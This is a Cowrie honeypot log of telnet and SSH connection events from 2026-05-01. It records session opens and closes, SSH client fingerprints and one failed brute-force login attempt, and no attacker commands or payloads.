{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41874,"dst_ip":"159.203.135.109","dst_port":23,"session":"a84c5acdcb47","protocol":"telnet","message":"New connection: 80.252.221.197:41874 (159.203.135.109:23) [session: a84c5acdcb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:16.434273Z"}
{"eventid":"cowrie.session.closed","duration":40.21615958213806,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:17.059682Z","src_ip":"159.203.13.64","session":"b309f9b02b08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41876,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd5569f41707","protocol":"telnet","message":"New connection: 80.252.221.197:41876 (159.203.135.109:23) [session: dd5569f41707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:17.531378Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54252,"dst_ip":"10.17.0.5","dst_port":23,"session":"18cda8c4fa82","protocol":"telnet","message":"New connection: 159.203.13.64:54252 (10.17.0.5:23) [session: 18cda8c4fa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:18.009579Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54268,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef13ffbe8856","protocol":"telnet","message":"New connection: 159.203.13.64:54268 (10.17.0.5:23) [session: ef13ffbe8856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:18.081468Z"}
{"eventid":"cowrie.session.closed","duration":51.16224384307861,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:18.302453Z","src_ip":"159.203.13.64","session":"af0cf96c70bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54280,"dst_ip":"10.17.0.5","dst_port":23,"session":"89542769be9c","protocol":"telnet","message":"New connection: 159.203.13.64:54280 (10.17.0.5:23) [session: 89542769be9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:18.357433Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51780,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3521eb5f01e","protocol":"telnet","message":"New connection: 80.252.221.197:51780 (159.203.135.109:23) [session: b3521eb5f01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:19.361845Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51794,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fb6cc4c7c79","protocol":"telnet","message":"New connection: 80.252.221.197:51794 (159.203.135.109:23) [session: 4fb6cc4c7c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:20.155988Z"}
{"eventid":"cowrie.session.closed","duration":33.614776372909546,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:23.482653Z","src_ip":"159.203.13.64","session":"c749ca1cb65d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45052,"dst_ip":"10.17.0.5","dst_port":23,"session":"21cf6b3edf16","protocol":"telnet","message":"New connection: 159.203.13.64:45052 (10.17.0.5:23) [session: 21cf6b3edf16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:24.806237Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"80482c11d41f","protocol":"telnet","message":"New connection: 159.203.13.64:45056 (10.17.0.5:23) [session: 80482c11d41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:25.576076Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45070,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6f6a16ea6e4","protocol":"telnet","message":"New connection: 159.203.13.64:45070 (10.17.0.5:23) [session: b6f6a16ea6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:25.711974Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ed271db1c9","protocol":"telnet","message":"New connection: 159.203.13.64:45082 (10.17.0.5:23) [session: b2ed271db1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:27.021812Z"}
{"eventid":"cowrie.session.closed","duration":43.63452410697937,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:27.177821Z","src_ip":"159.203.13.64","session":"a88f897882f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.17533278465270996,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:27.197006Z","src_ip":"159.203.13.64","session":"b2ed271db1c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.141735315322876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:27.651572Z","src_ip":"159.203.13.64","session":"8d8062f80777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45094,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac1cf58d9a15","protocol":"telnet","message":"New connection: 159.203.13.64:45094 (10.17.0.5:23) [session: ac1cf58d9a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:28.283557Z"}
{"eventid":"cowrie.session.closed","duration":46.168811082839966,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:28.724268Z","src_ip":"159.203.13.64","session":"afe3163df60d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7fd1d21a5a5","protocol":"telnet","message":"New connection: 159.203.13.64:45110 (10.17.0.5:23) [session: b7fd1d21a5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:29.112450Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45120,"dst_ip":"10.17.0.5","dst_port":23,"session":"36c305bd201c","protocol":"telnet","message":"New connection: 159.203.13.64:45120 (10.17.0.5:23) [session: 36c305bd201c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:30.528816Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59022,"dst_ip":"10.17.0.5","dst_port":23,"session":"03bf997df8cc","protocol":"telnet","message":"New connection: 159.203.13.64:59022 (10.17.0.5:23) [session: 03bf997df8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:30.858193Z"}
{"eventid":"cowrie.session.closed","duration":43.249481439590454,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:32.492763Z","src_ip":"159.203.13.64","session":"10fe5a6f13b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773060083389282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:32.680235Z","src_ip":"159.203.13.64","session":"aab2f6366f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.76416540145874,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:33.198597Z","src_ip":"159.203.13.64","session":"8e3b196f78e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.29441165924072,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:34.881564Z","src_ip":"80.252.221.197","session":"19cd978ee38d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59028,"dst_ip":"10.17.0.5","dst_port":23,"session":"5394b051db09","protocol":"telnet","message":"New connection: 159.203.13.64:59028 (10.17.0.5:23) [session: 5394b051db09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:36.139117Z"}
{"eventid":"cowrie.session.closed","duration":35.34207248687744,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:37.086716Z","src_ip":"159.203.13.64","session":"d20970374698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":60286,"dst_ip":"159.203.135.109","dst_port":23,"session":"c83cf794b30e","protocol":"telnet","message":"New connection: 80.252.221.197:60286 (159.203.135.109:23) [session: c83cf794b30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:38.245281Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59030,"dst_ip":"10.17.0.5","dst_port":23,"session":"99998dbdb79f","protocol":"telnet","message":"New connection: 159.203.13.64:59030 (10.17.0.5:23) [session: 99998dbdb79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:39.083303Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59034,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a625e1d5faa","protocol":"telnet","message":"New connection: 159.203.13.64:59034 (10.17.0.5:23) [session: 4a625e1d5faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:39.172367Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59036,"dst_ip":"10.17.0.5","dst_port":23,"session":"22621008e9a9","protocol":"telnet","message":"New connection: 159.203.13.64:59036 (10.17.0.5:23) [session: 22621008e9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:40.044993Z"}
{"eventid":"cowrie.session.closed","duration":41.750672340393066,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:42.722138Z","src_ip":"159.203.13.64","session":"67feb462328a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.691606521606445,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:46.275752Z","src_ip":"159.203.13.64","session":"80307d20d409","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":32820,"dst_ip":"10.17.0.5","dst_port":23,"session":"365f163f7617","protocol":"telnet","message":"New connection: 159.203.13.64:32820 (10.17.0.5:23) [session: 365f163f7617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:46.933836Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":32828,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee349b408019","protocol":"telnet","message":"New connection: 159.203.13.64:32828 (10.17.0.5:23) [session: ee349b408019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:47.483644Z"}
{"eventid":"cowrie.session.closed","duration":35.1784884929657,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:47.668448Z","src_ip":"80.252.221.197","session":"9b503e4b5a3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.65487790107727,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:48.570560Z","src_ip":"159.203.13.64","session":"8ab0e68a709c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":32834,"dst_ip":"10.17.0.5","dst_port":23,"session":"19d86a7e0c87","protocol":"telnet","message":"New connection: 159.203.13.64:32834 (10.17.0.5:23) [session: 19d86a7e0c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:49.042721Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":32838,"dst_ip":"10.17.0.5","dst_port":23,"session":"43441dd51e78","protocol":"telnet","message":"New connection: 159.203.13.64:32838 (10.17.0.5:23) [session: 43441dd51e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:49.967579Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46172,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc64db4b0019","protocol":"ssh","message":"New connection: 159.203.92.129:46172 (159.203.135.109:22) [session: dc64db4b0019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:51.405175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:51.409858Z","src_ip":"159.203.92.129","session":"dc64db4b0019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:51.417225Z","src_ip":"159.203.92.129","session":"dc64db4b0019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alin","password":"ALIN12alin","message":"login attempt [alin/ALIN12alin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:51.426601Z","src_ip":"159.203.92.129","session":"dc64db4b0019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41702,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dbc785d6a4a","protocol":"telnet","message":"New connection: 159.203.13.64:41702 (10.17.0.5:23) [session: 2dbc785d6a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:51.449471Z"}
{"eventid":"cowrie.session.closed","duration":42.6359498500824,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:51.506592Z","src_ip":"159.203.13.64","session":"b0be7312197a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41708,"dst_ip":"10.17.0.5","dst_port":23,"session":"13dea7a7ec6e","protocol":"telnet","message":"New connection: 159.203.13.64:41708 (10.17.0.5:23) [session: 13dea7a7ec6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:51.775470Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41710,"dst_ip":"10.17.0.5","dst_port":23,"session":"1363e8812248","protocol":"telnet","message":"New connection: 159.203.13.64:41710 (10.17.0.5:23) [session: 1363e8812248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:52.088500Z"}
{"eventid":"cowrie.session.closed","duration":35.70114088058472,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:52.135286Z","src_ip":"80.252.221.197","session":"a84c5acdcb47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:52.432701Z","src_ip":"159.203.92.129","session":"dc64db4b0019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.2155282497406,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:52.746839Z","src_ip":"80.252.221.197","session":"dd5569f41707","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41722,"dst_ip":"10.17.0.5","dst_port":23,"session":"54b56b83ecb6","protocol":"telnet","message":"New connection: 159.203.13.64:41722 (10.17.0.5:23) [session: 54b56b83ecb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:52.826424Z"}
{"eventid":"cowrie.session.closed","duration":40.68557953834534,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:53.611199Z","src_ip":"159.203.13.64","session":"62a61b0145ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41726,"dst_ip":"10.17.0.5","dst_port":23,"session":"66bcc2be2486","protocol":"telnet","message":"New connection: 159.203.13.64:41726 (10.17.0.5:23) [session: 66bcc2be2486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:53.953437Z"}
{"eventid":"cowrie.session.closed","duration":36.25526833534241,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:55.617002Z","src_ip":"80.252.221.197","session":"b3521eb5f01e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.13852882385254,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:56.172992Z","src_ip":"159.203.13.64","session":"5a421ec43d95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41736,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0159c4e3460","protocol":"telnet","message":"New connection: 159.203.13.64:41736 (10.17.0.5:23) [session: c0159c4e3460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:56.178932Z"}
{"eventid":"cowrie.session.closed","duration":36.57558345794678,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:56.731436Z","src_ip":"80.252.221.197","session":"4fb6cc4c7c79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.89543795585632,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:58.252747Z","src_ip":"159.203.13.64","session":"89542769be9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41752,"dst_ip":"10.17.0.5","dst_port":23,"session":"88b9c99fc510","protocol":"telnet","message":"New connection: 159.203.13.64:41752 (10.17.0.5:23) [session: 88b9c99fc510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:00.103685Z"}
{"eventid":"cowrie.session.closed","duration":4.242575645446777,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:00.421417Z","src_ip":"159.203.13.64","session":"c0159c4e3460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.446327924728394,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:01.455807Z","src_ip":"159.203.13.64","session":"18cda8c4fa82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.246296405792236,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:03.327643Z","src_ip":"159.203.13.64","session":"ef13ffbe8856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.98533391952515,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:03.791449Z","src_ip":"159.203.13.64","session":"21cf6b3edf16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.84038782119751,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:04.943920Z","src_ip":"159.203.13.64","session":"88b9c99fc510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.54665446281433,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:05.075361Z","src_ip":"159.203.13.64","session":"36c305bd201c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.50225615501404,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:06.214097Z","src_ip":"159.203.13.64","session":"b6f6a16ea6e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":53614,"dst_ip":"10.17.0.5","dst_port":23,"session":"63cc6174adb4","protocol":"telnet","message":"New connection: 159.203.13.64:53614 (10.17.0.5:23) [session: 63cc6174adb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:07.318709Z"}
{"eventid":"cowrie.session.closed","duration":40.54373216629028,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:08.827180Z","src_ip":"159.203.13.64","session":"ac1cf58d9a15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.34149360656738,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:10.199579Z","src_ip":"159.203.13.64","session":"03bf997df8cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":34346,"dst_ip":"159.203.135.109","dst_port":22,"session":"317ad50cbbfc","protocol":"ssh","message":"New connection: 186.13.24.118:34346 (159.203.135.109:22) [session: 317ad50cbbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:11.124784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:11.129468Z","src_ip":"186.13.24.118","session":"317ad50cbbfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36456,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f1cc07e6373","protocol":"telnet","message":"New connection: 159.203.13.64:36456 (10.17.0.5:23) [session: 9f1cc07e6373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:11.200491Z"}
